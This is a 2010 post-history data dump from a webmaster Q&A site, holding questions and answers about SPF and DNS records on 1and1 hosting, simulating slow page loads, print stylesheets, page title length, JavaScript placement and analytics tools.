  <row Id="1577" PostHistoryTypeId="2" PostId="859" RevisionGUID="87025178-2deb-4385-8fbe-84e014d01066" CreationDate="2010-07-14T22:11:55.693" UserId="43" Text="Emails from my domain (hosted at 1and1, and using Google Apps Premier edition) have sporadically been going to recipients' spam folders lately.  I did some research, tested, and found out that I do not have an SPF record for my domain.  According to [this][1] Google Support page, I need to create one.  Following the steps on that page is easy, until I get to #3:&#xD;&#xA;&#xD;&#xA;&gt; Create a TXT record containing this text: v=spf1 include:_spf.google.com ~all&#xD;&#xA;&#xD;&#xA;I see no way to create a &quot;TXT record&quot;.  Here is a screenshot of the admin panel:&#xD;&#xA;&#xD;&#xA;![dns settings][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/a/bin/answer.py?answer=178723&#xD;&#xA;  [2]: http://imgur.com/csHEr.png" />
  <row Id="1578" PostHistoryTypeId="1" PostId="859" RevisionGUID="87025178-2deb-4385-8fbe-84e014d01066" CreationDate="2010-07-14T22:11:55.693" UserId="43" Text="How can I create an SPF record on my 1and1.com hosted domain?" />
  <row Id="1579" PostHistoryTypeId="3" PostId="859" RevisionGUID="87025178-2deb-4385-8fbe-84e014d01066" CreationDate="2010-07-14T22:11:55.693" UserId="43" Text="&lt;dns&gt;&lt;email&gt;&lt;google-apps&gt;" />
  <row Id="1580" PostHistoryTypeId="2" PostId="860" RevisionGUID="7427354b-9922-4b19-92bb-fb7e579ba666" CreationDate="2010-07-14T22:33:12.180" UserId="138" Text="I'm not familiar with 1and1 DNS hosting, but if they won't let you create a `txt` record then you will need to switch your DNS hosting to someone who does.&#xD;&#xA;&#xD;&#xA;From a quick google it looks like 1and1 won't let you do this*&#xD;&#xA;&#xD;&#xA;From the horses mouth:&#xD;&#xA;&#xD;&#xA;&gt; As of Aug, 7 2007 - &quot;Yes, we do understand what an SPF record is.&#xD;&#xA;&gt; Unfortunately we do not support in on&#xD;&#xA;&gt; our hosting plans. We apologize for&#xD;&#xA;&gt; any inconvenience.&quot;&#xD;&#xA;&#xD;&#xA;I've had great milage out of [http://www.dnsmadeeasy.com/][1].&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;*References:&#xD;&#xA;&#xD;&#xA;1. http://osdir.com/ml/mail.spam.spf.help/2004-12/msg00174.html&#xD;&#xA;2. http://www.1and1faq.com/forums/showthread.php?t=951&#xD;&#xA;3. http://www.kitterman.com/spf/txt.html&#xD;&#xA;&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dnsmadeeasy.com/&#xD;&#xA;" />
  <row Id="1581" PostHistoryTypeId="5" PostId="860" RevisionGUID="cc16c8e6-db57-4447-8f94-dbb02619ea9f" CreationDate="2010-07-14T22:38:31.210" UserId="138" Comment="added 74 characters in body" Text="I'm not familiar with 1and1 DNS hosting, but if they won't let you create a `txt` record then you will need to switch your DNS hosting to someone who does.&#xD;&#xA;&#xD;&#xA;From a quick google it looks like 1and1 won't let you do this*&#xD;&#xA;&#xD;&#xA;From the horses mouth:&#xD;&#xA;&#xD;&#xA;&gt; As of Aug, 7 2007 - &quot;Yes, we do understand what an SPF record is.&#xD;&#xA;&gt; Unfortunately we do not support in on&#xD;&#xA;&gt; our hosting plans. We apologize for&#xD;&#xA;&gt; any inconvenience.&quot;&#xD;&#xA;&#xD;&#xA;I've had great milage out of [http://www.dnsmadeeasy.com/][1] (as I need a commercial SLA) but there are &quot;free&quot; providers out there too.&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;*References:&#xD;&#xA;&#xD;&#xA;1. http://osdir.com/ml/mail.spam.spf.help/2004-12/msg00174.html&#xD;&#xA;2. http://www.1and1faq.com/forums/showthread.php?t=951&#xD;&#xA;3. http://www.kitterman.com/spf/txt.html&#xD;&#xA;&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dnsmadeeasy.com/&#xD;&#xA;" />
  <row Id="1582" PostHistoryTypeId="2" PostId="861" RevisionGUID="de69ee10-22d6-45c8-a4b4-a47deb748468" CreationDate="2010-07-14T23:12:13.437" UserId="226" Text="I have a fast server, and a reasonably fast home Internet connection. How can I simulate my page loading on a slow connection?" />
  <row Id="1583" PostHistoryTypeId="1" PostId="861" RevisionGUID="de69ee10-22d6-45c8-a4b4-a47deb748468" CreationDate="2010-07-14T23:12:13.437" UserId="226" Text="How can I simulate a slow connection for page load?" />
  <row Id="1584" PostHistoryTypeId="3" PostId="861" RevisionGUID="de69ee10-22d6-45c8-a4b4-a47deb748468" CreationDate="2010-07-14T23:12:13.437" UserId="226" Text="&lt;speed&gt;&lt;page-speed&gt;" />
  <row Id="1585" PostHistoryTypeId="2" PostId="862" RevisionGUID="f1ee7c25-1dee-457a-9aa5-da97729ee784" CreationDate="2010-07-14T23:18:45.970" UserId="18" Text="[FireFox Throttle][1] is a FireFox extension that should do it. [Sloppy][2] is a proxy which slows down your connection so it should work across browsers.&#xD;&#xA;&#xD;&#xA;Source: [http://www.devcurry.com/2010/07/simulate-slow-internet-connections.html][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://addons.mozilla.org/en-US/firefox/addon/5917/&#xD;&#xA;  [2]: http://www.dallaway.com/sloppy/&#xD;&#xA;  [3]: http://www.devcurry.com/2010/07/simulate-slow-internet-connections.html" />
  <row Id="1586" PostHistoryTypeId="2" PostId="863" RevisionGUID="838b7ce9-fec6-4755-be46-a114dc74d7c9" CreationDate="2010-07-15T00:10:09.353" UserId="140" Text="What solutions or techniques exist for creating printer-friendly versions of a webpage?" />
  <row Id="1587" PostHistoryTypeId="1" PostId="863" RevisionGUID="838b7ce9-fec6-4755-be46-a114dc74d7c9" CreationDate="2010-07-15T00:10:09.353" UserId="140" Text="How to make a printer-friendly version of a webpage?" />
  <row Id="1588" PostHistoryTypeId="3" PostId="863" RevisionGUID="838b7ce9-fec6-4755-be46-a114dc74d7c9" CreationDate="2010-07-15T00:10:09.353" UserId="140" Text="&lt;html&gt;&lt;css&gt;&lt;best-practice&gt;&lt;print&gt;" />
  <row Id="1589" PostHistoryTypeId="2" PostId="864" RevisionGUID="982bb002-fa79-4e79-a97c-1b246d475ef4" CreationDate="2010-07-15T00:11:02.817" UserId="59" Text="[Fiddler Web Debugger][1] is an excellent HTTP proxy debugging tool for Windows that includes a **modem speed simulation** feature.  Fiddler is *freeware*.&#xD;&#xA;&#xD;&#xA;I also like [Charles Web Debugging Proxy][2], a similar tool.  Charles can also **throttle the connection speed**.  Charles is commercial software, but has a free trial available.  What I like most about Charles is that it is **cross-platform**: Being Java-based, it can run on Windows, Mac OS X, and Linux.  (You didn't mention which platform you're on, but it's probably one of those :-)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fiddler2.com/fiddler2/&#xD;&#xA;  [2]: http://www.charlesproxy.com/" />
  <row Id="1590" PostHistoryTypeId="5" PostId="863" RevisionGUID="c237a7c5-3224-414a-8fba-b1b3c96288a9" CreationDate="2010-07-15T00:17:29.450" UserId="140" Comment="added 8 characters in body" Text="What solutions or techniques exist for offering users a printer-friendly versions of a webpage?" />
  <row Id="1591" PostHistoryTypeId="2" PostId="865" RevisionGUID="ab6b9e9a-6f69-4746-b34f-9ca9ba7591c9" CreationDate="2010-07-15T00:48:43.863" UserId="46" Text="I do a basic css stylesheet that I setup for &quot;print&quot; CSS media type.&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;stylesheet&quot; href=&quot;css/print.css&quot; media=&quot;print&quot;  /&gt;&#xD;&#xA;&#xD;&#xA;In this stylesheet, I'll generally do a few things:&#xD;&#xA; &#xD;&#xA; - Hide any navigation elements that aren't relevant.&#xD;&#xA; - Hide any search elements.&#xD;&#xA; - Modify fonts and colors &#xD;&#xA; - Modify any widths that don't mesh with a printed page." />
  <row Id="1592" PostHistoryTypeId="2" PostId="866" RevisionGUID="9c938589-78bf-400a-86ff-20fb7bbf1c49" CreationDate="2010-07-15T02:36:14.053" UserId="40" Text="I can run lots of performance tools on my server, but what is with problems that are only visible from the outside? Are there any tools that can help me with this?" />
  <row Id="1593" PostHistoryTypeId="1" PostId="866" RevisionGUID="9c938589-78bf-400a-86ff-20fb7bbf1c49" CreationDate="2010-07-15T02:36:14.053" UserId="40" Text="Are there any online tools that can help ne find problems with my website?" />
  <row Id="1594" PostHistoryTypeId="3" PostId="866" RevisionGUID="9c938589-78bf-400a-86ff-20fb7bbf1c49" CreationDate="2010-07-15T02:36:14.053" UserId="40" Text="&lt;performance&gt;&lt;monitoring&gt;&lt;availability&gt;" />
  <row Id="1595" PostHistoryTypeId="2" PostId="867" RevisionGUID="2f7c35d2-fd8d-4d98-a9fc-b421e4c22e2f" CreationDate="2010-07-15T03:33:46.507" UserId="43" Text="Google's [Webmaster Tools][1] is a good start. Also take a look at the [W3C Markup Validation Service][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/tools/&#xD;&#xA;  [2]: http://validator.w3.org/" />
  <row Id="1596" PostHistoryTypeId="2" PostId="868" RevisionGUID="fde32d13-8c15-43f0-825a-ee031412b48c" CreationDate="2010-07-15T03:43:37.597" UserId="124" Text="It's not an online tool strictly speaking, but take a look at [Yahoo! YSlow][1]. It's a Firefox addon that integrates with Firebug.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/yslow/" />
  <row Id="1597" PostHistoryTypeId="2" PostId="869" RevisionGUID="823b16c7-b674-438a-9192-995d55c31051" CreationDate="2010-07-15T04:13:52.820" UserId="108" Text="Check out http://www.webpagetest.org/.  You can run tests against your site from a remote server and it will tell you how long any page took to load and how long each component took to load.  &#xD;&#xA;&#xD;&#xA;The site uses multiple servers around the world so you will be able to check if you have speed differences due to location.&#xD;&#xA;&#xD;&#xA;This is still in the VERY early stages but you can capture a video of the page load for viewing and visually comparing to other pages." />
  <row Id="1598" PostHistoryTypeId="2" PostId="870" RevisionGUID="9fdc0a74-8eb0-41f1-8ae5-f9749914e9b4" CreationDate="2010-07-15T04:15:42.210" UserId="108" Text="Try out http://www.webpagetest.org/test.  You can run a test from any of their remote servers around the world and see how fast you page loads from those location.  It will even let you use a dial-up speed or other slow speeds for most locations." />
  <row Id="1599" PostHistoryTypeId="2" PostId="871" RevisionGUID="37154540-de2c-47f4-a300-c3dbf8a6c633" CreationDate="2010-07-15T04:34:30.340" UserId="156" Text="A quick &amp; dirty solution is to *upload* a large file to try to choke your outbound bandwidth, this should slow down your inbound connection, and is usually easier than trying to similarly choke inbound bandwidth." />
  <row Id="1600" PostHistoryTypeId="4" PostId="866" RevisionGUID="1759bf56-8385-42c1-be95-d42978c10579" CreationDate="2010-07-15T04:40:33.577" UserId="40" Comment="edited title" Text="Are there any online tools that can help me find problems with my website?" />
  <row Id="1601" PostHistoryTypeId="2" PostId="872" RevisionGUID="6783f861-1ce1-4329-b16f-a0f0ad6cec5b" CreationDate="2010-07-15T04:58:13.553" UserId="40" Text="Sometimes it is also nice to create a pdf from your printer optimized website. It is possible to do this with [wkhtmltopdf][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/wkhtmltopdf/" />
  <row Id="1602" PostHistoryTypeId="2" PostId="873" RevisionGUID="a47c4984-9b16-4931-b4fc-23aef2eac7d8" CreationDate="2010-07-15T05:02:01.830" UserId="40" Text="Some jurisdictions require a privacy policy (at least for business sites) by law. You maybe should consult a lawyer for specific advice to your particular site." />
  <row Id="1603" PostHistoryTypeId="2" PostId="874" RevisionGUID="e857d581-82c4-4430-9ed9-807034d1b02b" CreationDate="2010-07-15T05:05:32.903" UserId="40" Text="I use git with a couple of customized hooks for deployment. This even has the advantage that I can run several branches for dev/test/beta/production sites and do some CI. For urgent patches, git always allows to cherry-pick specific commits from one branch into the next." />
  <row Id="1604" PostHistoryTypeId="2" PostId="875" RevisionGUID="e3a7ed14-05c3-4c8a-bb75-b50e1a709370" CreationDate="2010-07-15T05:12:01.957" UserId="40" Text="It is a matter of preference obviously. I have found jquery is a little but more difficult to understand for newbies since the chaining is not really intuitive in particular when asynchronous race conditions occur. However, jquery certainly has more plugins but that can also be a disadvantage when too many plugins are automatically loaded." />
  <row Id="1605" PostHistoryTypeId="2" PostId="876" RevisionGUID="c5435554-3ddb-4780-8fbe-ac0a81cb1f13" CreationDate="2010-07-15T05:14:19.610" UserId="40" Text="I use [awstats][1] and [munin][2]. They are both on my server and hence avoid issues with privacy problems that outside solutions can bring.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://awstats.sourceforge.net/&#xD;&#xA;  [2]: http://munin-monitoring.org/" />
  <row Id="1606" PostHistoryTypeId="2" PostId="877" RevisionGUID="607cdcb0-99ab-40f2-8d72-51d30463cb45" CreationDate="2010-07-15T05:20:32.520" UserId="40" Text="You don't need to do anything. If your website is a work of creativity it is automatically copyrighted. However, your design might not be. The code (html/css) that entails your design is copyrighted automatically. However, the design itself might not be, since this would usually trademarked. This is in particular the case for Logos and similar. Trademarks need to be obtained by the Patent and Trademark Office and are limited to jurisdictions." />
  <row Id="1607" PostHistoryTypeId="2" PostId="878" RevisionGUID="ab223b11-a202-41f5-b9f7-3ea5feeca5ac" CreationDate="2010-07-15T05:43:25.523" UserId="180" Text="Are there reasonably-priced services that will take a PSD design concept that was created by a local designer and generate at least a first take on decent HTML?&#xD;&#xA;&#xD;&#xA;I know how to do what I want (content-first, accessible, semantic HTML, css sprites, optimized JS, etc) but don't have the patience to do it myself :)" />
  <row Id="1608" PostHistoryTypeId="1" PostId="878" RevisionGUID="ab223b11-a202-41f5-b9f7-3ea5feeca5ac" CreationDate="2010-07-15T05:43:25.523" UserId="180" Text="Are there services that specialize in converting design into layout?" />
  <row Id="1609" PostHistoryTypeId="3" PostId="878" RevisionGUID="ab223b11-a202-41f5-b9f7-3ea5feeca5ac" CreationDate="2010-07-15T05:43:25.523" UserId="180" Text="&lt;optimization&gt;&lt;design&gt;" />
  <row Id="1610" PostHistoryTypeId="2" PostId="879" RevisionGUID="032d29b2-5442-4937-b558-39a6eb06dfca" CreationDate="2010-07-15T06:52:36.567" UserId="149" Text="There are hundreds/thousands of these services out there. If you google &quot;PSD to HTML&quot; you'll get a bunch. As for specific businesses, i'm not sure if that's appropriate for me to post? &#xD;&#xA;&#xD;&#xA;" />
  <row Id="1611" PostHistoryTypeId="5" PostId="878" RevisionGUID="afe178b9-d169-4652-a498-91b79d5263b4" CreationDate="2010-07-15T07:30:33.090" UserId="180" Comment="deleted 10 characters in body" Text="Are there reasonably-priced services that will take a PSD design concept that was created by a local designer and generate at least a first take on decent HTML?&#xD;&#xA;&#xD;&#xA;I know what I want (content-first, accessible, semantic HTML, css sprites, optimized JS, etc) but don't have the patience to do it myself :)" />
  <row Id="1612" PostHistoryTypeId="2" PostId="880" RevisionGUID="56e66b59-a1a9-4f55-a257-2514ae264142" CreationDate="2010-07-15T08:27:02.330" UserId="125" Text="My web hosting is through 1&amp;1.com. I'm trying to set up both blogger and Google Apps mail at the naked domain.&#xD;&#xA;&#xD;&#xA;I was able to get blogger set up on the `www.` version of the site by simply creating a CNAME record which points to `ghs.google.com`. The naked domain is also pointing to `ghs.google.com`, creating a [symmetric configuration][1]. Blogger has the domain defined with `www.`, and the checkbox which chooses if to redirect naked domain to `www.` is checked.&#xD;&#xA;&#xD;&#xA;Now when I try to set up the MX records for Google apps at 1&amp;1, it doesn't let me. When you go in to the DNS settings, you can choose between DNS or CNAME. When you choose DNS, it allows you to set a single A record, and the MX records. However, if you choose to use a CNAME (like I did), it will not allow you to set any MX records.&#xD;&#xA;&#xD;&#xA;I'll try my best to describe the options available on 1&amp;1 using a tree:&#xD;&#xA;&#xD;&#xA; - General settings = &#xD;&#xA;   - {CNAME}&#xD;&#xA;     - Alias = [server]&#xD;&#xA;   - {DNS}&#xD;&#xA;      - Name server = &#xD;&#xA;         - {My name server}&#xD;&#xA;             - Primary Name Server = [server]&#xD;&#xA;             - Secondary Name Server =&#xD;&#xA;                 - {My Secondary Name Server}&#xD;&#xA;                     - 1st secondary name server = [server]&#xD;&#xA;                     - 2nd secondary name server = [server]&#xD;&#xA;                     - 3rd secondary name server = [server]&#xD;&#xA;                 - {1&amp;1 Name Server}&#xD;&#xA;         - {1&amp;1 name server}&#xD;&#xA;             - IP address (A record) =&#xD;&#xA;                 - {1&amp;1 IP Address}&#xD;&#xA;                 - {Other IP address}&#xD;&#xA;                     - [ip-address]&#xD;&#xA;             - Mail server (MX record) = &#xD;&#xA;                 - {1&amp;1 mail server}&#xD;&#xA;                 - {Other mail server}&#xD;&#xA;                     - MX 1 / Prio = [mx-record]&#xD;&#xA;                     - MX 2 / Prio = [mx-record]&#xD;&#xA;                     - Further backups =&#xD;&#xA;                         - {My Mail Exchanger}&#xD;&#xA;                             - MX 3 / Prio = [mx-record]&#xD;&#xA;                             - MX 4 / Prio = [mx-record]&#xD;&#xA;                         - {Backup mail exchanger}&#xD;&#xA;&#xD;&#xA;For example, in `General settings` you can choose either `CNAME` or `DNS`. If you choose `CNAME` you will see the `Alias` field. The `Alias` field takes a `[server]` value (e.g. `example.com`). Another example, if you choose `Name server` = `1&amp;1 name server`, you will see all the options listed underneath it (`IP address (A record)` and `Mail server (MX record)`), but not the options underneath `My name server`.&#xD;&#xA;&#xD;&#xA;Legend:&#xD;&#xA;&#xD;&#xA; - `[server]`: requires a server [is it more accurate to call this domain?] (e.g. `example.com`).&#xD;&#xA; - `[ip-address]`: requires a set of 4 numbers (i.e. a valid ip). So, a domain such as `example.com` will not work.&#xD;&#xA; - `[mx-record]`: takes in a `[server]` and an integer priority.&#xD;&#xA;&#xD;&#xA;You will notice that when `General settings` = `CNAME`, it doesn't have any MX record fields available. Is this a shortcoming of 1&amp;1, or can you never have a CNAME record with MX records defined?&#xD;&#xA;&#xD;&#xA;Is there any way to do what I'm trying to do?&#xD;&#xA;&#xD;&#xA;Requirements:&#xD;&#xA;&#xD;&#xA; - Blogger blog hosted at `www.` or naked domain (I have no preference).&#xD;&#xA; - The other domain will redirect to the other one (e.g. `www.` will redirect to naked domain, or vice versa).&#xD;&#xA; - Mail uses Google Apps at naked domain (e.g. `user@example.com`).&#xD;&#xA; - It should be reliable and SEO friendly. I know I can set up a single A record to point to one of Google's IP addresses (instead of `ghs.google.com`), but then I don't get the 4 server redundancy, meaning if a single server goes down, my site also goes down.&#xD;&#xA;&#xD;&#xA;  [1]: http://blogging.nitecruzr.net/2008/12/your-blog-custom-domains-and-righteous.html#SymmetricalDNS" />
  <row Id="1613" PostHistoryTypeId="1" PostId="880" RevisionGUID="56e66b59-a1a9-4f55-a257-2514ae264142" CreationDate="2010-07-15T08:27:02.330" UserId="125" Text="Blogger and Google App hosting at naked domain using 1&amp;1" />
  <row Id="1614" PostHistoryTypeId="3" PostId="880" RevisionGUID="56e66b59-a1a9-4f55-a257-2514ae264142" CreationDate="2010-07-15T08:27:02.330" UserId="125" Text="&lt;google-apps&gt;&lt;1and1&gt;&lt;blogger&gt;" />
  <row Id="1615" PostHistoryTypeId="2" PostId="881" RevisionGUID="7a013805-77f9-47da-a1f0-7dd5a891899e" CreationDate="2010-07-15T09:05:43.643" UserId="55" Text="I've developed a relationship with a dozen or so freelance designers. Most of them are quite happy to slice a PSD layout into (X)HTML conforming to the standard of my choice. Most also happily convert it into a Wordpress, Drupal , Joomla , etc theme with very little turn-around time.&#xD;&#xA;&#xD;&#xA;I'd head to odesk, freelancer.com, etc and put a few projects out for bid. This gets you a roster of talent that you can pick from, whoever happens to be on-line at the time gets the job.&#xD;&#xA;&#xD;&#xA;The usual price I pay just for slicing is $15 - $20, and it takes about an hour. Converting to themes goes from $75 - $200, depending on the complexity of the design. Its worth it to me to just pay someone to do what anyone could do, leaving me more time to spend on tasks that only I can do (like getting fresh content out daily, hunting for quality backlinks, etc ..)" />
  <row Id="1616" PostHistoryTypeId="2" PostId="882" RevisionGUID="9905b02d-30fc-482b-847b-2069f8b26c71" CreationDate="2010-07-15T09:09:27.253" UserId="156" Text="Google's [Urchin][1] **is** available for purchase, and might be useful because of the log file based nature (no problem if the client has javascript disabled, or the site is entirely internal with no provision for accessing the google servers, [etc][2]), but whether it is worth the cost compared to Analytics is up to you (there is a 30 day [demo][3] available).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/urchin/&#xD;&#xA;  [2]: http://www.google.com/urchin/faq.html#urchin_analytics_differences&#xD;&#xA;  [3]: http://www.google.com/urchin/download.html" />
  <row Id="1618" PostHistoryTypeId="2" PostId="883" RevisionGUID="9279e98b-ab2f-49cd-b133-0a1c95864444" CreationDate="2010-07-15T10:58:30.653" UserId="233" Text="I know that it is recommended to put Javascript at the bottom of the page, but if I'm using jQuery doesn't this defeat its purpose to run as the DOM is loading?&#xD;&#xA;&#xD;&#xA;If I have a dropdown menu, for example, the dropdowns won't show until all the rest of the page has loaded. I also try to develop with progressive enhancement in mind, so I might have elements that are hidden with jQuery instead of CSS (so non-JS users can see them).&#xD;&#xA;&#xD;&#xA;Is there a happy medium, perhaps?" />
  <row Id="1619" PostHistoryTypeId="1" PostId="883" RevisionGUID="9279e98b-ab2f-49cd-b133-0a1c95864444" CreationDate="2010-07-15T10:58:30.653" UserId="233" Text="Does &quot;putting Javascript at the bottom&quot; defeat the purpose of document.ready?" />
  <row Id="1620" PostHistoryTypeId="3" PostId="883" RevisionGUID="9279e98b-ab2f-49cd-b133-0a1c95864444" CreationDate="2010-07-15T10:58:30.653" UserId="233" Text="&lt;javascript&gt;&lt;performance&gt;&lt;jquery&gt;" />
  <row Id="1621" PostHistoryTypeId="2" PostId="884" RevisionGUID="8269a059-325d-47b7-92e1-bc0fdf5f6060" CreationDate="2010-07-15T12:50:04.703" UserId="149" Text="Document.ready waits for the DOM to load before running any JavaScript (http://www.learningjquery.com/2006/09/introducing-document-ready).&#xD;&#xA;&#xD;&#xA;The idea of putting it at the bottom, means that if your JS is having issues or the person has a slow connection, the rest of the page still loads first, and doesn't &quot;hang&quot;.&#xD;&#xA;&#xD;&#xA;The JS still runs when everything has loaded, whether it's at the start or finish." />
  <row Id="1622" PostHistoryTypeId="2" PostId="885" RevisionGUID="b7c96c7d-86c6-41b6-a79d-eaa017ab3410" CreationDate="2010-07-15T13:32:22.477" UserId="108" Text="How long should my text within my `&lt;title&gt;&lt;/title&gt;` tags really be?  I know Google cuts it off at some point but when?  &#xD;&#xA;&#xD;&#xA;When I used IIS7's SEO Toolkit 1.0 I get error stating my title should be under 65 characters.  I have a book by Bruce Clay that states I should use from 62-70 characters and roughly 9 +/- 3 words.  I also have used SenSEO's Firefox Add-on and it states I should use a max of 65 characters or roughly 15 words.  What is the max really?  I have 2 sources saying 65 and 1 saying 72 but Bruce Clay is generally kept in high regard." />
  <row Id="1623" PostHistoryTypeId="1" PostId="885" RevisionGUID="b7c96c7d-86c6-41b6-a79d-eaa017ab3410" CreationDate="2010-07-15T13:32:22.477" UserId="108" Text="How long should my Html Page Title Really be?" />
  <row Id="1624" PostHistoryTypeId="3" PostId="885" RevisionGUID="b7c96c7d-86c6-41b6-a79d-eaa017ab3410" CreationDate="2010-07-15T13:32:22.477" UserId="108" Text="&lt;seo&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="1625" PostHistoryTypeId="2" PostId="886" RevisionGUID="1608a583-2e6e-4cd5-927d-1275044c1928" CreationDate="2010-07-15T13:38:55.987" UserId="55" Text="Its not just the length, its being meaningful enough so that tabs in any given browser can be easily differentiated (usability), as well as SEO.&#xD;&#xA;&#xD;&#xA;I never go over 80 characters in length, and I assume that its likely that some indexes will truncate at 60 characters or so. That isn't as big as a concern as it used to be. But, be aware that Google isn't the only search engine. &#xD;&#xA;&#xD;&#xA;Regardless, following both usability and SEO means get something meaningful in the first 20 characters and avoid keyword spam." />
  <row Id="1626" PostHistoryTypeId="2" PostId="887" RevisionGUID="356ab862-9bb2-4833-b4a8-2f866516e155" CreationDate="2010-07-15T14:52:57.913" UserId="156" Text="I'm aware of [sprockets][1] for combining javascript files, but haven't tried it. What are some other options and how do they stack up?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://getsprockets.org/" />
  <row Id="1627" PostHistoryTypeId="1" PostId="887" RevisionGUID="356ab862-9bb2-4833-b4a8-2f866516e155" CreationDate="2010-07-15T14:52:57.913" UserId="156" Text="What should I use to automatically combine css/js files?" />
  <row Id="1628" PostHistoryTypeId="3" PostId="887" RevisionGUID="356ab862-9bb2-4833-b4a8-2f866516e155" CreationDate="2010-07-15T14:52:57.913" UserId="156" Text="&lt;optimization&gt;&lt;javascript&gt;&lt;css&gt;" />
  <row Id="1629" PostHistoryTypeId="16" PostId="887" RevisionGUID="356ab862-9bb2-4833-b4a8-2f866516e155" CreationDate="2010-07-15T14:52:57.913" UserId="156" />
  <row Id="1630" PostHistoryTypeId="2" PostId="888" RevisionGUID="b411f087-2cab-45ed-9520-238436393439" CreationDate="2010-07-15T14:56:35.673" UserId="210" Text="[Piwik][1]: Open source real time analytics. I don't use this, but I have a friend who does and he really likes it. It does look pretty nice and with something like this you can do all sorts of other things with the data (such as your own real time stats on the website).&#xD;&#xA;&#xD;&#xA;Also, [here][2] is a list of alternatives. It has log file analyzers, like Analog or AWStats, remote services, like stat24 and Yahoo Analytics, and self hosted, like Open Web Analytics and FireStats.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://piwik.org/&#xD;&#xA;  [2]: http://regulargeek.com/2010/05/29/25-free-google-analytics-alternatives/" />
  <row Id="1631" PostHistoryTypeId="2" PostId="889" RevisionGUID="3d907d4a-1cb1-4d72-acb9-1af0c3f41465" CreationDate="2010-07-15T15:02:25.380" UserId="226" Text="It really depends on which you prefer. However, jQuery does seem to have a bigger following, so resources for that might be easy to come by.&#xD;&#xA;&#xD;&#xA;I think you can both hosted from Google's servers, and jQuery hosted from MS's servers, which may come into your consideration." />
  <row Id="1632" PostHistoryTypeId="2" PostId="890" RevisionGUID="9b75d36d-f88e-42e9-ba12-301121a32d20" CreationDate="2010-07-15T15:03:36.140" UserId="226" Text="It is copyrighted automatically, but it is still good practice to put the copyright notice `&amp;copy;` - &amp;copy; not (c) at the bottom of your page." />
  <row Id="1633" PostHistoryTypeId="2" PostId="891" RevisionGUID="e9a44d59-0e1e-4dd4-9b28-3f44d99a6444" CreationDate="2010-07-15T15:06:15.043" UserId="226" Text="A quick google search finds this to combine CSS files: http://www.tothepc.com/archives/combine-merge-multiple-css-files/" />
  <row Id="1634" PostHistoryTypeId="16" PostId="891" RevisionGUID="e9a44d59-0e1e-4dd4-9b28-3f44d99a6444" CreationDate="2010-07-15T15:06:15.043" UserId="-1" />
  <row Id="1635" PostHistoryTypeId="2" PostId="892" RevisionGUID="fc25b770-1ac6-433a-90a0-9d5bc7e413d0" CreationDate="2010-07-15T15:08:11.903" UserId="226" Text="Putting javascript at the bottom means that the other page content (text especially) loads before the javascript so users are not waiting for the JS to load if they have slow connections.&#xD;&#xA;&#xD;&#xA;This does not affect document.ready, as that is called when the  browser has finished preparing the DOM for a page. Either way, everything still needs to be loaded first." />
  <row Id="1636" PostHistoryTypeId="2" PostId="893" RevisionGUID="8d5d7d73-ebd8-4801-bcd4-66d9621c7e6b" CreationDate="2010-07-15T15:10:05.860" UserId="226" Text="If I am using a large Javascript library for my page, how can I make sure that this does not impair the user's use of the site?" />
  <row Id="1637" PostHistoryTypeId="1" PostId="893" RevisionGUID="8d5d7d73-ebd8-4801-bcd4-66d9621c7e6b" CreationDate="2010-07-15T15:10:05.860" UserId="226" Text="How can I reduce the costs of loading large JS libraries?" />
  <row Id="1638" PostHistoryTypeId="3" PostId="893" RevisionGUID="8d5d7d73-ebd8-4801-bcd4-66d9621c7e6b" CreationDate="2010-07-15T15:10:05.860" UserId="226" Text="&lt;javascript&gt;&lt;speed&gt;" />
  <row Id="1639" PostHistoryTypeId="2" PostId="894" RevisionGUID="af153d9e-f17c-42ac-9222-3662939dc4cd" CreationDate="2010-07-15T15:22:22.137" UserId="40" Text="You can put the whole library into one js file and compress the file. However, it really only matters for the first loading of a page. After this your js file will be cached in the browser, in particular if you set the cache-expiration long enough. Hence any consecutive hit will not load your js file anymore. " />
  <row Id="1640" PostHistoryTypeId="5" PostId="886" RevisionGUID="9da42664-e6c3-4d36-a93d-7c88a0c1c50c" CreationDate="2010-07-15T15:24:28.113" UserId="55" Comment="added 257 characters in body; added 131 characters in body" Text="Its not just the length, its being meaningful enough so that tabs in any given browser can be easily differentiated (usability), as well as SEO.&#xD;&#xA;&#xD;&#xA;I never go over 80 characters in length, and I assume that its likely that some indexes will truncate at 60 characters or so. That isn't as big as a concern as it used to be. But, be aware that Google isn't the only search engine. &#xD;&#xA;&#xD;&#xA;Regardless, following both usability and SEO means get something meaningful in the first 20 characters and avoid keyword spam.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    Gibson Rant 1 - &quot;I hope you .... &quot; | TheBestNews.com&#xD;&#xA;    Gibson Rant 2 - &quot;I'm going to ...&quot; | TheBestNews.com&#xD;&#xA;&#xD;&#xA;You want the least significant words as far 'right' as you can get them, while not defeating tabbed browsing. That is, of course if the language is read left to right. Reverse the order otherwise (tricky in sites that offer many languages).&#xD;&#xA;" />
  <row Id="1641" PostHistoryTypeId="5" PostId="889" RevisionGUID="36f6d80d-885e-417a-b9fe-462bbdea308f" CreationDate="2010-07-15T15:27:47.740" UserId="226" Comment="added 4 characters in body" Text="It really depends on which you prefer. However, jQuery does seem to have a bigger following, so resources for that might be easy to come by.&#xD;&#xA;&#xD;&#xA;I think you can get both hosted from Google's servers, and jQuery hosted from MS's servers, which may come into your consideration." />
